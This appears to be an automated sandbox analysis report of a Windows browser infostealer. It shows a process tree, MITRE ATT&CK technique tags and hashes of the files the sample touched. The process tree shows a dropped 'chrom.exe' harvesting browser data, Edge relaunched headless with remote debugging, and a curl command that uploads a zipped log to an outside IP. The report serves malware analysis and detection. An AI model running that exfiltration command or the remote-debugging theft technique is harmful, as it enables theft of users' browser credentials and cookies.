- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --force-high-res-timeticks=disabled --field-trial-handle=1792,i,1288862841271186118,16596183247527629082,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=6156 /prefetch:11
    3⤵
    - System Time Discovery
    PID:200
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --force-high-res-timeticks=disabled --field-trial-handle=1792,i,1288862841271186118,16596183247527629082,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=5300 /prefetch:11
    3⤵
    - System Time Discovery
    PID:472
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --force-high-res-timeticks=disabled --field-trial-handle=1792,i,1288862841271186118,16596183247527629082,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=5888 /prefetch:14
    3⤵
    PID:3504
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --force-high-res-timeticks=disabled --field-trial-handle=1792,i,1288862841271186118,16596183247527629082,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=6016 /prefetch:14
    3⤵
    PID:1536
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --force-high-res-timeticks=disabled --field-trial-handle=1792,i,1288862841271186118,16596183247527629082,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4660 /prefetch:14
    3⤵
    PID:440
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --headless --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=1792,i,1288862841271186118,16596183247527629082,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=5828 /prefetch:10
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:2092
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM msedge.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:4656
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9222 --remote-allow-origins=* --headless "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data"
  2⤵
  - Uses browser remote debugging
  - Enumerates system info in registry
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of WriteProcessMemory
  PID:5900
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x25c,0x260,0x264,0x258,0x26c,0x7ff807a4c188,0x7ff807a4c194,0x7ff807a4c1a0
    3⤵
    PID:3608
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --headless --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --field-trial-handle=2636,i,13164697023463841670,11244065732871131012,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2632 /prefetch:2
    3⤵
    PID:200
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2636,i,13164697023463841670,11244065732871131012,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2736 /prefetch:11
    3⤵
    - System Time Discovery
    PID:4700
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2636,i,13164697023463841670,11244065732871131012,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=3240 /prefetch:13
    3⤵
    PID:3380
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --pdf-upsell-enabled --force-high-res-timeticks=disabled --remote-debugging-port=9222 --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --field-trial-handle=2636,i,13164697023463841670,11244065732871131012,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=3616 /prefetch:1
    3⤵
    - Uses browser remote debugging
    PID:2360
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --instant-process --pdf-upsell-enabled --force-high-res-timeticks=disabled --remote-debugging-port=9222 --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --field-trial-handle=2636,i,13164697023463841670,11244065732871131012,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=3620 /prefetch:1
    3⤵
    - Uses browser remote debugging
    PID:2264
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --pdf-upsell-enabled --force-high-res-timeticks=disabled --remote-debugging-port=9222 --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --field-trial-handle=2636,i,13164697023463841670,11244065732871131012,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4400 /prefetch:1
    3⤵
    - Uses browser remote debugging
    PID:1432
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --remote-debugging-port=9222 --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --field-trial-handle=2636,i,13164697023463841670,11244065732871131012,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4472 /prefetch:9
    3⤵
    - Uses browser remote debugging
    PID:3536
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM msedge.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:5076
- C:\Users\Admin\AppData\Local\Temp\chrom.exe
  C:\Users\Admin\AppData\Local\Temp\chrom.exe -o C:\Users\Admin\AppData\Local\Temp\JskaVD2N\Browsers chrome
  2⤵
  - Executes dropped EXE
  PID:4436
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe"
    3⤵
    PID:4648
- C:\Users\Admin\AppData\Local\Temp\chrom.exe
  C:\Users\Admin\AppData\Local\Temp\chrom.exe -o C:\Users\Admin\AppData\Local\Temp\JskaVD2N\Browsers chrome
  2⤵
  - Executes dropped EXE
  PID:4616
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe"
    3⤵
    PID:5380
- C:\Users\Admin\AppData\Local\Temp\chrom.exe
  C:\Users\Admin\AppData\Local\Temp\chrom.exe -o C:\Users\Admin\AppData\Local\Temp\JskaVD2N\Browsers chrome
  2⤵
  - Executes dropped EXE
  PID:1380
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe"
    3⤵
    PID:4816
- C:\Users\Admin\AppData\Local\Temp\chrom.exe
  C:\Users\Admin\AppData\Local\Temp\chrom.exe -o C:\Users\Admin\AppData\Local\Temp\JskaVD2N\Browsers chrome
  2⤵
  - Executes dropped EXE
  PID:2880
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe"
    3⤵
    PID:2992
- C:\Users\Admin\AppData\Local\Temp\chrom.exe
  C:\Users\Admin\AppData\Local\Temp\chrom.exe -o C:\Users\Admin\AppData\Local\Temp\JskaVD2N\Browsers chromex86
  2⤵
  - Executes dropped EXE
  PID:2016
- C:\Users\Admin\AppData\Local\Temp\chrom.exe
  C:\Users\Admin\AppData\Local\Temp\chrom.exe -o C:\Users\Admin\AppData\Local\Temp\JskaVD2N\Browsers brave
  2⤵
  - Executes dropped EXE
  PID:4556
- C:\Users\Admin\AppData\Local\Temp\chrom.exe
  C:\Users\Admin\AppData\Local\Temp\chrom.exe -o C:\Users\Admin\AppData\Local\Temp\JskaVD2N\Browsers bravex86
  2⤵
  - Executes dropped EXE
  PID:4604
- C:\Users\Admin\AppData\Local\Temp\chrom.exe
  C:\Users\Admin\AppData\Local\Temp\chrom.exe -o C:\Users\Admin\AppData\Local\Temp\JskaVD2N\Browsers edge
  2⤵
  - Executes dropped EXE
  PID:3776
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
    3⤵
    PID:3832
- C:\Users\Admin\AppData\Local\Temp\chrom.exe
  C:\Users\Admin\AppData\Local\Temp\chrom.exe -o C:\Users\Admin\AppData\Local\Temp\JskaVD2N\Browsers edge
  2⤵
  - Executes dropped EXE
  PID:6040
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
    3⤵
    PID:4420
- C:\Users\Admin\AppData\Local\Temp\chrom.exe
  C:\Users\Admin\AppData\Local\Temp\chrom.exe -o C:\Users\Admin\AppData\Local\Temp\JskaVD2N\Browsers edge
  2⤵
  - Executes dropped EXE
  PID:4288
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
    3⤵
    PID:4308
- C:\Windows\system32\curl.exe
  curl.exe -sS -X POST http://185.238.191.35:3000/upload -F file=@C:\Users\Admin\AppData\Local\Temp\JskaVD2N\log.zip
  2⤵
  PID:2356

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:2872

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:3480

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:4000

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
- Modifies data under HKEY_USERS
PID:3460

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:204

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:2628

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:4760

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:6040

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:2780

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Modify Authentication Process

T1556

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Modify Authentication Process

T1556

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Modify Authentication Process

T1556

Steal Web Session Cookie

T1539

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

System Time Discovery

T1124

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

BookmarkMergedSurfaceOrdering

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BookmarkMergedSurfaceOrdering
Size 6B
SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
MD5 377d072e137022223a370760763420bb
SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
MD5 SHA1 SHA512

Submit Download

data_0

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Cache\Cache_Data\data_0
Size 44KB
SHA256 f5c1a05251638d0ae919e0e26060f773eea73880eaff8bc2cd6f51fde97affe7
MD5 c7777aeb68b0b57b002eb500b0df8d9e
SHA1 3ad98528448a4359a907cb9540cfc6ea7f9f8191
SHA512 a06b98a8f3632d6e97369a0e3d1722159b60222d9d43daf947fb9baf775e8abeb7cc04158205d6d106f1d631ca40d3dea2cbee71f34c753c66e6b3006dc91b5a
SSDEEP 12:dS2D+qE4txRfW/QdUQveids48dVOkSyEdrEsj5:dSk+vwRfW/Qi+UQkSlrEU5
TLSH
T11C13463DDB623F02C7DC2439744F8FB05730EDD4C9C1574385F8A2252661218ADA6221
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

data_1

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Cache\Cache_Data\data_1
Size 264KB
SHA256 4dce281bacf6d8c112570274d41f4d88a7de28e5a53e537377a39073ea657c23
MD5 effb59a351d2cfba23a8dff1be727ecd
SHA1 a2c9700226628c2b8ebd2b9f1d9edd0c3d965eb7
SHA512 79ff0d50cced1060c74a588c85f9ca8205ca06a47dfad53bf70c96659263619944db9e39d6933c38f56024bec052c921a5e77cf272f8db5f40760b4e75f092b4
SSDEEP 96:eqLqWVugZbDyjWX0VOLHKWolXUEugzljP:e+NbDyLSclXUEXl
TLSH
T1F84485F71906EEC6F72DCEB06C40C23CDD33A7161C59EE71F62944A116919EB3128A76
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

data_2

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Cache\Cache_Data\data_2
Size 1.0MB
SHA256 51bed183fc55e029e8d39c984f3690ae7b2035cc092623b69c952cf2ba012d01
MD5 c15eb24cf82452fae835b38a99e10c3b
SHA1 993a4b3accd1d92483a8ab2f21e89de210808e77
SHA512 6a1e9ed99073ca65a09ccdf36f5cbb35a1811a41aaa73f43ffe1337835ec5de541a66607d00cdbeed6b6b75b9832c0768c80be6840e0b806499f63583a57bb5a
SSDEEP 96:EyCBeyZs3V75ceXNB6aNhHhNihx0WVdy3jvs1:9qe66yiWVdyzi
TLSH
T159254C15E58A96ECE2941D31C0FDA8B85467214CCF97A3F348570C23AD8FA2660AC27A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

data_3

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Cache\Cache_Data\data_3
Size 4.0MB
SHA256 742139ac7f6e47c63c100aae7ff165eba0aaf320969d2b18e67af0890c995784
MD5 50aaaba77b7b677b48d1a0ae73e469a5
SHA1 d9b761705a3772e119c674c878c54c56b3954507
SHA512 14791fb6820c557e29210457b32ebac5a5d85219a8a6b6b3b3af1e52f469f6806fff0672de1d98b26d018682519982a397f71bca00cea6336f6a1966e5a5b061
SSDEEP 768:RUfDPLSgcRUv+D4zfDPLSgcRUv+H4vUfDPLSgcRUv+74aKs4+5G4YG45G4ZUfDP2:vjw5jGBGMGyzzdx0bp
TLSH
T165165CA64F287942DA85EFB0BBCDED1C3D7023D6EC935882E122927949F1FC11B8515E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

messages.json

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\en\messages.json
Size 593B
SHA256 92f1246c21dd5fd7266ebfd65798c61e403d01a816cc3cf780db5c8aa2e3d9c9
MD5 91f5bc87fd478a007ec68c4e8adf11ac
SHA1 d07dd49e4ef3b36dad7d038b7e999ae850c5bef6
SHA512 fdc2a29b04e67ddbbd8fb6e8d2443e46badcb2b2fb3a850bbd6198cdccc32ee0bd8a9769d929feefe84d1015145e6664ab5fea114df5a864cf963bf98a65ffd9
TLSH
T109F09C8CD050E86F02B2411AB1647314FB51037A0751A59F393CDC0D9FB6DA751C6F4D
MD5 SHA1 SHA512 TLSH

Submit Download

craw_background.js

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\craw_background.js
Size 531KB
SHA256 04cd9494b0ed83924dad12202630b20d053d9e2819c8e826a386c814cc0a1697
MD5 6eebed29e6a6301e92a9b8b347807f5f
SHA1 65dfb69b650560551110b33dcba50b25e5b876de
SHA512 fede6db31f2ad242e7bc7b52a8859ba7f466a0b920a8dadcb32dcfb5b2a2742e98b767ff22e0c5bc5c11fec021240aa9e458486c9039eb4ebe5cf6af7be97bf2
SSDEEP 6144:abyfBNC2FRdjiRXqbe5Dq31IVlMqX+wd5/CcMMJcRULt0NjyTOEzZQ+h72W3GB0n:Ft/g
TLSH
T1B5C4F74C34C2E8CD6A623DA5247B9085A2319266F4479ED9F0EDECF21AF44641937F3E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

CURRENT

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\GCM Store\Encryption\CURRENT
Size 16B
SHA256 0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443
MD5 46295cac801e5d4857d09837238a6394
SHA1 44e0fa1b517dbf802b18faf0785eeea6ac51594b
SHA512 8969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23
MD5 SHA1 SHA512

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State
Size 1KB
SHA256 c120908e2c26ea27cd8db61d2dcbfcaaabcc5a62df8b33779bdd4672502d5eca
MD5 f89561ed1f10e6bd86819cd5949cc8a9
SHA1 1006398bfa1faecac18aa5d4bff33faef948bb36
SHA512 8d92bdcc235261ed26ffe11ff679237523992b1d378cb139dc66ae11ae23beb2a0137331759c03c4c0ae2648034f7a82bc66c386c4e80596893e44346e73d6b7
TLSH
T193317AF783B4997D8B0196E4EB056F1FCE690524032C78A688D46D2B83F2972E14478F
MD5 SHA1 SHA512 TLSH

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
Size 11KB
SHA256 feb70f620e165fe2f9c1ab3d8a0704455885af52f0c85dec276ba668a8ac4ea8
MD5 67ffc9af32a61064ce9fb6238ed0525a
SHA1 ba8d359a895cf276ba12931dca30a0c371c229ac
SHA512 92cf76309814b8bfef0d0b24df819b98b5a414dd29cd259477aabd5f68683fe49d478ee7cab3defb5b0f11cdc8e3103cb017521d73500fca10cc81eb6a683ae5
SSDEEP 192:SRx8A9Dv7cAPRp2s9EHsb+WNnLw0qBQ4AYTmVyIsnAUge:SRx8m7JX7mws0qq4AZe
TLSH
T1C032A52EB911693B5DDFD229FA21B793E7F5102221942F84EBFC892C25E75CD221740B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
Size 12KB
SHA256 087a77d15c9ed26e89391d1aa95bc0139a74ee1b7b36ce5644d93faddedb996f
MD5 1c8fc3f442a7cd3d879698f6dc40a925
SHA1 6d01fe058cb8f5bc2a77b30b62d7243817655681
SHA512 789c14865c4e0fff87d217ef3bfe942d3fc89ed3e0e1c504da4e28d2773177c21304697758ea4bbfd96d6acb813c6db73a083f555151095c79b4fb6cd67fbac3
SSDEEP 192:SRx8s9Dv7cPPRpRs9EHsb+WNnLw0qfQ4AYTTVyIsnAUgE:SRx8K7UXWmws0qY4AoE
TLSH
T1A842B72EB911693B5DDFD229FA21BB53E3F5102221942F84E7FC892C25E75CD221741B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
Size 12KB
SHA256 367f567872d154cc6671b107460747efec28cf836ec351f1364cf3e8fe7e6551
MD5 5b5660927c4663f2a1241f301c2d711b
SHA1 843f58a8594154e4019584afa275b0f438d2be07
SHA512 f0afbea84ebc24d17742e51081d28f8bd90420bfc5146f590ea4bacb4afec4ed2e2d8c95f78f432fa22adb02e39a1215809d2a29988267b1fd200a0ba0484c4a
SSDEEP 192:SRx8A9Dv7cPPRpRs9EHsb+WNnLw0qfQ4AYTTVyIsnAUgE:SRx8m7UXWmws0qY4AoE
TLSH
T1E342B62EB911293B5DDFD229FA21BB53E3F5202221942F84E7FC892C25E75CD221741B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Secure Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences
Size 13KB
SHA256 25045bfb0a498c265df0367e613e2667c3eb8d09166e2c17bbd5a246f932466e
MD5 cb1ebe115e6247d1ae8e198129090e3c
SHA1 2bfb5b63eee29357f77d27a3388905f8b52ce4b1
SHA512 90b29df26247292046fe9d9fd4dd083800d9f90e45c6c8fcbf7183a71370df0b73dd78c043f56e1a5417984a24f7e9b5842e2d74698acac5733642c61f4aab69
SSDEEP 384:WQjZ07KxkXqKf/pUZNCgVLH2HfgsljhRXODZ8+ErU3t4HG3pGYhmf:WUZ07KxkXqKf/pUZNCgVLH2HfgsH1O1Q
TLSH
T14B52F967684D9A3B0FD8D94CDC12AF8FADB5025766B80D2493FA5C1803D5BCB114A2FB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Code Cache\js\index-dir\the-real-index
Size 72B
SHA256 bae022620dc82898a99b32d5764ea46ee96ea4407c1957c90b05c2395e1fe412
MD5 bac2de834b2edf0fb9aaeb725994cd4d
SHA1 12e73a2edac702ff6463f54d7867a70b7a08a908
SHA512 a925c47df6c3bcfe943e0ba58872e38241b268de93d68aed1fbf011bdb7c5720301ce92d4055f6befadc2271b8207aa9980981ba3dd93b30123503bf160b28c8
TLSH
T185A0025041D02C11EE4952F770B6475637615E9459528B13A4910458D85B6C09181200
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index~RFe5a25aa.TMP

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Code Cache\js\index-dir\the-real-index~RFe5a25aa.TMP
Size 48B
SHA256 03f99381be4927ca789d5a8ed089abb96bd096b9574c82f6c065d7c46360f3bf
MD5 a1aa35015d0e14577d7310ebe13a1097
SHA1 e2cdfe8775cff6c2dff4f00ed1e50ffca257e162
SHA512 7dec12402bea7ca2aa00339e1681d5b098645c7cc8eba5a7e1ffb457dda5653cdf96c92245d685a00d748cdef031f1f4fcb22f9361a27d4b4de9d8e463ee3d76
MD5 SHA1 SHA512

Submit Download

data_0

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\GPUCache\data_0
Size 8KB
SHA256 d6a5fe39cd672781b256e0e3102f7022635f1d4bb7cfcc90a80fffe4d0f3877e
MD5 cf89d16bb9107c631daabf0c0ee58efb
SHA1 3ae5d3a7cf1f94a56e42f9a58d90a0b9616ae74b
SHA512 8cb5b059c8105eb91e74a7d5952437aaa1ada89763c5843e7b0f1b93d9ebe15ed40f287c652229291fac02d712cf7ff5ececef276ba0d7ddc35558a3ec3f77b0
SSDEEP 3:MsFl:/F
MD5 SHA1 SHA512 SSDEEP

Submit Download

data_1

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\GPUCache\data_1
Size 264KB
SHA256 b1e963d702392fb7224786e7d56d43973e9b9efd1b89c17814d7c558ffc0cdec
MD5 f50f89a0a91564d0b8a211f8921aa7de
SHA1 112403a17dd69d5b9018b8cede023cb3b54eab7d
SHA512 bf8cda48cf1ec4e73f0dd1d4fa5562af1836120214edb74957430cd3e4a2783e801fa3f4ed2afb375257caeed4abe958265237d6e0aacf35a9ede7a2e8898d58
SSDEEP 3:MsEllllkEthXllkl2zE:/M/xT02z
MD5 SHA1 SHA512 SSDEEP

Submit Download

data_2

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\GPUCache\data_2
Size 8KB
SHA256 ec1702806f4cc7c42a82fc2b38e89835fde7c64bb32060e0823c9077ca92efb7
MD5 0962291d6d367570bee5454721c17e11
SHA1 59d10a893ef321a706a9255176761366115bedcb
SHA512 f555e961b69e09628eaf9c61f465871e6984cd4d31014f954bb747351dad9cea6d17c1db4bca2c1eb7f187cb5f3c0518748c339c8b43bbd1dbd94aeaa16f58ed
SSDEEP 3:MsHlDll:/H
MD5 SHA1 SHA512 SSDEEP

Submit Download

data_3

